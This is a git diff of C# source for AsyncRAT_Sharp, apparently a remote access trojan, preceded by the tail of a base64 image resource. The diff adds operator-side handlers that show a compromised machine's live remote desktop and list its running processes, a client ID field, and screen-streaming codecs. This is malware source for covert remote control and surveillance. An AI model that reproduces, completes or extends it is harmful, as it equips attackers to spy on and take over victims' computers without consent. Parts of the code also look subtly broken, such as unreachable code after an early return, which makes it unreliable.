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
gg==
</value>
</data>
</root>

View File

@ -4,6 +4,9 @@ using AsyncRAT_Sharp.MessagePack;
using System;
using System.Diagnostics;
using System.Drawing;
using AsyncRAT_Sharp.Forms;
using System.IO;
namespace AsyncRAT_Sharp.Handle_Packet
{
@ -28,6 +31,7 @@ namespace AsyncRAT_Sharp.Handle_Packet
Client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("HWID").AsString);
Client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("User").AsString);
Client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("OS").AsString);
Client.ID = unpack_msgpack.ForcePathObject("HWID").AsString;
Program.form1.listView1.Items.Insert(0, Client.LV);
Settings.Online.Add(Client);
}));
@ -51,6 +55,81 @@ namespace AsyncRAT_Sharp.Handle_Packet
}
}
break;
case "remoteDesktop":
{
if (Program.form1.InvokeRequired)
{
Program.form1.BeginInvoke((MethodInvoker)(() =>
{
RemoteDesktop RD = (RemoteDesktop)Application.OpenForms["RemoteDesktop:" + Client.ID];
try
{
if (RD != null && RD.Active == true)
{
byte[] RdpStream = unpack_msgpack.ForcePathObject("Stream").GetAsBytes();
Bitmap decoded = RD.decoder.DecodeData(new MemoryStream(RdpStream));
if (RD.RenderSW.ElapsedMilliseconds >= (1000 / 20))
{
RD.pictureBox1.Image = (Bitmap)decoded;
RD.RenderSW = Stopwatch.StartNew();
}
RD.FPS++;
if (RD.sw.ElapsedMilliseconds >= 1000)
{
RD.Text = "RemoteDesktop:" + Client.ID + " FPS:" + RD.FPS + " Screen:" + decoded.Width + " x " + decoded.Height + " Size:" + Helper.BytesToString(RdpStream.Length);
RD.FPS = 0;
RD.sw = Stopwatch.StartNew();
}
}
else
{
MsgPack msgpack = new MsgPack();
msgpack.ForcePathObject("Packet").AsString = "remoteDesktop";
msgpack.ForcePathObject("Option").AsString = "false";
Client.BeginSend(msgpack.Encode2Bytes());
}
}
catch (Exception ex) { Debug.WriteLine(ex.Message); }
}));
}
}
break;
case "processManager":
{
if (Program.form1.InvokeRequired)
{
Program.form1.BeginInvoke((MethodInvoker)(() =>
{
ProcessManager PM = (ProcessManager)Application.OpenForms["processManager:" + Client.ID];
if (PM != null)
{
PM.listView1.Items.Clear();
string AllProcess = unpack_msgpack.ForcePathObject("Message").AsString;
string data = AllProcess.ToString();
string[] _NextProc = data.Split(new[] { "-=>" }, StringSplitOptions.None);
for (int i = 0; i < _NextProc.Length; i++)
{
if (_NextProc[i].Length > 0)
{
ListViewItem lv = new ListViewItem();
lv.Text = Path.GetFileName(_NextProc[i]);
lv.SubItems.Add(_NextProc[i + 1]);
lv.ToolTipText = _NextProc[i];
Image im = Image.FromStream(new MemoryStream(Convert.FromBase64String(_NextProc[i + 2])));
PM.imageList1.Images.Add(_NextProc[i + 1], im);
lv.ImageKey = _NextProc[i + 1];
PM.listView1.Items.Add(lv);
}
i += 2;
}
}
}));
}
}
break;
}
}
catch (Exception ex)

View File

@ -4,9 +4,9 @@ namespace AsyncRAT_Sharp
{
class Helper
{
public static String BytesToString(long byteCount)
public static string BytesToString(long byteCount)
{
string[] suf = { "B", "KB", "MB", "GB", "TB", "PB", "EB" }; //Longs run out around EB
string[] suf = { "B", "KB", "MB", "GB", "TB", "PB", "EB" };
if (byteCount == 0)
return "0" + suf[0];
long bytes = Math.Abs(byteCount);

View File

@ -21,7 +21,7 @@ namespace AsyncRAT_Sharp.Sockets
// private event ReadEventHandler Read;
// private delegate void ReadEventHandler(Clients client, byte[] data);
private object SendSync { get; set; }
public string ID { get; set; }
public Clients(Socket CLIENT)
{

View File

@ -2,7 +2,6 @@
using System.Net;
using System.Net.Sockets;
using System;
using System.Threading;
using System.Windows.Forms;
namespace AsyncRAT_Sharp.Sockets
@ -34,8 +33,9 @@ namespace AsyncRAT_Sharp.Sockets
}
}
private void BeginAccept()
private async void BeginAccept()
{
await Task.Delay(1);
listener.BeginAccept(EndAccept, null);
}

View File

@ -0,0 +1,160 @@
using StreamLibrary.src;
using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.Drawing;
using System.Drawing.Imaging;
using System.IO;
using System.Text;
namespace StreamLibrary.Codecs
{
public class DirectDriverCodec
{
private Bitmap decodedBitmap;
private byte[] EncodeBuffer;
private PixelFormat EncodedFormat;
private int EncodedWidth;
private int EncodedHeight;
private JpgCompression jpgCompression;
public DirectDriverCodec(int Quality)
{
jpgCompression = new JpgCompression(Quality);
}
public unsafe void CodeImage(IntPtr Scan0, Rectangle[] Changes, Size ImageSize, PixelFormat Format, Stream outStream)
{
byte* pScan0 = (byte*)Scan0.ToInt32();
if (!outStream.CanWrite)
throw new Exception("Must have access to Write in the Stream");
int Stride = 0;
int RawLength = 0;
int PixelSize = 0;
switch (Format)
{
case PixelFormat.Format24bppRgb:
PixelSize = 3;
break;
case PixelFormat.Format32bppArgb:
case PixelFormat.Format32bppPArgb:
PixelSize = 4;
break;
default:
throw new NotSupportedException(Format.ToString());
}
Stride = ImageSize.Width * PixelSize;
RawLength = Stride * ImageSize.Height;
if (EncodeBuffer == null)
{
this.EncodedFormat = Format;
this.EncodedWidth = ImageSize.Width;
this.EncodedHeight = ImageSize.Height;
this.EncodeBuffer = new byte[RawLength];
fixed (byte* ptr = EncodeBuffer)
{
byte[] temp = null;
using (Bitmap TmpBmp = new Bitmap(ImageSize.Width, ImageSize.Height, Stride, Format, Scan0))
{
temp = jpgCompression.Compress(TmpBmp);
}
outStream.Write(BitConverter.GetBytes(temp.Length), 0, 4);
outStream.Write(temp, 0, temp.Length);
NativeMethods.memcpy(new IntPtr(ptr), Scan0, (uint)RawLength);
}
return;
}
long oldPos = outStream.Position;
outStream.Write(new byte[4], 0, 4);
int TotalDataLength = 0;
for (int i = 0; i < Changes.Length; i++)
{
Rectangle rect = Changes[i];
int blockStride = PixelSize * rect.Width;
Bitmap TmpBmp = new Bitmap(rect.Width, rect.Height, Format);
BitmapData TmpData = TmpBmp.LockBits(new Rectangle(0, 0, TmpBmp.Width, TmpBmp.Height), ImageLockMode.ReadWrite, TmpBmp.PixelFormat);
for (int j = 0, offset = 0; j < rect.Height; j++)
{
int blockOffset = (Stride * (rect.Y + j)) + (PixelSize * rect.X);
NativeMethods.memcpy((byte*)TmpData.Scan0.ToPointer() + offset, pScan0 + blockOffset, (uint)blockStride); //copy-changes
offset += blockStride;
}
TmpBmp.UnlockBits(TmpData);
outStream.Write(BitConverter.GetBytes(rect.X), 0, 4);
outStream.Write(BitConverter.GetBytes(rect.Y), 0, 4);
outStream.Write(BitConverter.GetBytes(rect.Width), 0, 4);
outStream.Write(BitConverter.GetBytes(rect.Height), 0, 4);
outStream.Write(new byte[4], 0, 4);
long length = outStream.Position;
long OldPos = outStream.Position;
jpgCompression.Compress(TmpBmp, ref outStream);
length = outStream.Position - length;
outStream.Position = OldPos - 4;
outStream.Write(BitConverter.GetBytes((int)length), 0, 4);
outStream.Position += length;
TmpBmp.Dispose();
TotalDataLength += (int)length + (4 * 5);
}
outStream.Position = oldPos;
outStream.Write(BitConverter.GetBytes(TotalDataLength), 0, 4);
}
public Bitmap DecodeData(Stream inStream)
{
byte[] temp = new byte[4];
inStream.Read(temp, 0, 4);
int DataSize = BitConverter.ToInt32(temp, 0);
if (decodedBitmap == null)
{
temp = new byte[DataSize];
inStream.Read(temp, 0, temp.Length);
this.decodedBitmap = (Bitmap)Bitmap.FromStream(new MemoryStream(temp));
return decodedBitmap;
}
return decodedBitmap;
List<Rectangle> updates = new List<Rectangle>();
Rectangle rect;
Graphics g = Graphics.FromImage(decodedBitmap);
Bitmap tmp;
byte[] buffer = null;
MemoryStream m;
while (DataSize > 0)
{
byte[] tempData = new byte[4 * 5];
inStream.Read(tempData, 0, tempData.Length);
rect = new Rectangle(BitConverter.ToInt32(tempData, 0), BitConverter.ToInt32(tempData, 4),
BitConverter.ToInt32(tempData, 8), BitConverter.ToInt32(tempData, 12));
int UpdateLen = BitConverter.ToInt32(tempData, 16);
buffer = new byte[UpdateLen];
inStream.Read(buffer, 0, buffer.Length);
m = new MemoryStream(buffer);
tmp = (Bitmap)Image.FromStream(m);
g.DrawImage(tmp, rect.Location);
tmp.Dispose();
m.Close();
m.Dispose();
DataSize -= UpdateLen + (4 * 5);
}
g.Dispose();
return decodedBitmap;
}
}
}

View File

@ -0,0 +1,68 @@
using StreamLibrary.src;
using System;
using System.Collections.Generic;
using System.Drawing;
using System.IO;
using System.Text;
namespace StreamLibrary.Codecs
{
/// <summary>
/// The M-JPG codec is not very efficient for networking as it is just a very simple codec
/// </summary>
public class MJPGCodec : IVideoCodec
{
public override event IVideoCodec.VideoCodeProgress onVideoStreamCoding;
public override event IVideoCodec.VideoDecodeProgress onVideoStreamDecoding;
public override event IVideoCodec.VideoDebugScanningDelegate onCodeDebugScan;
public override event IVideoCodec.VideoDebugScanningDelegate onDecodeDebugScan;
public override ulong CachedSize
{
get { return 0; }
internal set { }
}
public override int BufferCount
{
get { return 0; }
}
public override CodecOption CodecOptions
{
get { return CodecOption.None; }
}
public MJPGCodec(int ImageQuality = 100)
: base(ImageQuality)
{
}
public override void CodeImage(Bitmap bitmap, Stream outStream)
{
lock (base.jpgCompression)
{
byte[] data = base.jpgCompression.Compress(bitmap);
outStream.Write(BitConverter.GetBytes(data.Length), 0, 4);
outStream.Write(data, 0, data.Length);
}
}
public override Bitmap DecodeData(Stream inStream)
{
lock (base.jpgCompression)
{
if (!inStream.CanRead)
throw new Exception("Must have access to Read in the Stream");
byte[] temp = new byte[4];
inStream.Read(temp, 0, temp.Length);
int DataLength = BitConverter.ToInt32(temp, 0);
temp = new byte[DataLength];
inStream.Read(temp, 0, temp.Length);
return (Bitmap)Bitmap.FromStream(new MemoryStream(temp));
}
}
}
}

View File

@ -0,0 +1,204 @@
using StreamLibrary.src;
using System;
using System.Collections.Generic;
using System.Drawing;
using System.Drawing.Imaging;
using System.IO;
using System.Text;
namespace StreamLibrary.Codecs
{
public class QuickCachedStreamCodec : IVideoCodec
{
private Bitmap CodeTempBitmap;
private Bitmap DecodeTempBitmap;
public override event IVideoCodec.VideoCodeProgress onVideoStreamCoding;
public override event IVideoCodec.VideoDecodeProgress onVideoStreamDecoding;
public override event IVideoCodec.VideoDebugScanningDelegate onCodeDebugScan;
public override event IVideoCodec.VideoDebugScanningDelegate onDecodeDebugScan;
public override ulong CachedSize
{
get;
internal set;
}
public int MaxBuffers { get; private set; }
private SortedList<int, byte[]> EncodeCache;
private SortedList<int, byte[]> DecodeCache;
/// <summary>
/// Initialize a new object of QuickStreamCodec
/// </summary>
/// <param name="ImageQuality">The image quality 0-100%</param>
public QuickCachedStreamCodec(int MaxBuffers = 5000, int ImageQuality = 100)
: base(ImageQuality)
{
this.MaxBuffers = MaxBuffers;
this.EncodeCache = new SortedList<int, byte[]>();
this.DecodeCache = new SortedList<int, byte[]>();
}
public override int BufferCount
{
get { return 1; }
}
public override CodecOption CodecOptions
{
get { return CodecOption.RequireSameSize | CodecOption.AutoDispose; }
}
public override unsafe void CodeImage(Bitmap bitmap, Stream outStream)
{
if (!outStream.CanWrite)
throw new Exception("Must have access to Write in the Stream");
if (CodeTempBitmap != null)
{
if (CodeTempBitmap.Width != bitmap.Width || CodeTempBitmap.Height != bitmap.Height)
throw new Exception("Bitmap width/height are not equal to previous bitmap");
if (bitmap.PixelFormat != CodeTempBitmap.PixelFormat)
throw new Exception("PixelFormat is not equal to previous Bitmap");
}
if (CodeTempBitmap == null)
{
byte[] temp = base.jpgCompression.Compress(bitmap);
outStream.Write(BitConverter.GetBytes(temp.Length), 0, 4);
outStream.Write(temp, 0, temp.Length);
CodeTempBitmap = bitmap;
return;
}
BitmapData bmpData = bitmap.LockBits(new Rectangle(0, 0, bitmap.Width, bitmap.Height), ImageLockMode.ReadWrite, bitmap.PixelFormat);
BitmapData CodeBmpData = CodeTempBitmap.LockBits(new Rectangle(0, 0, bitmap.Width, bitmap.Height), ImageLockMode.ReadWrite, bitmap.PixelFormat);
int Stride = Math.Abs(bmpData.Stride);
List<Rectangle> Blocks = new List<Rectangle>();
for (int y = 0, i = 0; y < bitmap.Height; y++, i += Stride)
{
if (onCodeDebugScan != null)
onCodeDebugScan(new Rectangle(0, y, bitmap.Width, 1));
Rectangle ScanBlock = new Rectangle(0, y, bitmap.Width, 1);
